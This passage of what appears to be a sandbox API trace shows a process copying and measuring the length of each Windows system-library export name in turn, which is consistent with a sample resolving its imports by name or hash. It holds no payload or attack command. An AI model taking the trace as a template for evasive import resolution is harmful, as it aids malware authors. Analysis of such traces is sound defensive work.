lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0117.710] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0117.710] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0117.710] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0117.710] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0117.710] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0117.710] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0117.710] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0117.710] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0117.710] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0117.710] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0117.710] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0117.710] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0117.710] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0117.710] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0117.710] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0117.710] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0117.711] lstrlenA (lpString="BACKUPREAD") returned 10 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0117.711] lstrlenA (lpString="BACKUPSEEK") returned 10 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0117.711] lstrlenA (lpString="BACKUPWRITE") returned 11 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0117.711] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0117.711] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0117.711] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0117.711] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0117.711] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0117.711] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0117.711] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0117.711] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0117.711] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0117.711] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0117.711] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0117.711] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0117.711] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0117.711] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0117.711] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0117.711] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0117.711] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.711] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0117.711] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0117.712] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0117.712] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0117.712] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0117.712] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0117.712] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0117.712] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0117.712] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0117.712] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0117.712] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0117.712] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0117.712] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0117.712] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0117.712] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0117.712] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0117.712] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0117.712] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0117.712] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0117.712] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0117.712] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0117.712] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0117.712] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0117.713] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0117.713] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0117.713] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0117.713] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0117.713] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0117.713] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0117.713] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0117.713] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0117.713] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0117.713] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0117.713] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0117.713] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0117.713] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0117.713] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0117.713] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0117.713] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0117.713] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0117.713] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0117.713] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0117.713] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0117.713] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0117.713] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0117.714] lstrlenA (lpString="BEEP") returned 4 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0117.714] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0117.714] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0117.714] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0117.714] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0117.714] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0117.714] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0117.714] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0117.714] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0117.714] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0117.714] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0117.714] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0117.714] lstrlenA (lpString="CANCELIO") returned 8 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0117.714] lstrlenA (lpString="CANCELIOEX") returned 10 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0117.714] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0117.714] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0117.714] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0117.714] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0117.714] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0117.714] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0117.714] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0117.714] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0117.715] lstrlenA (lpString="CHECKELEVATION") returned 14 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0117.715] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0117.715] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0117.715] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0117.715] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0117.715] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0117.715] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0117.715] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0117.715] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0117.715] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0117.715] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0117.715] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0117.715] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0117.715] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0117.715] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0117.715] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0117.715] lstrcpyA (in: 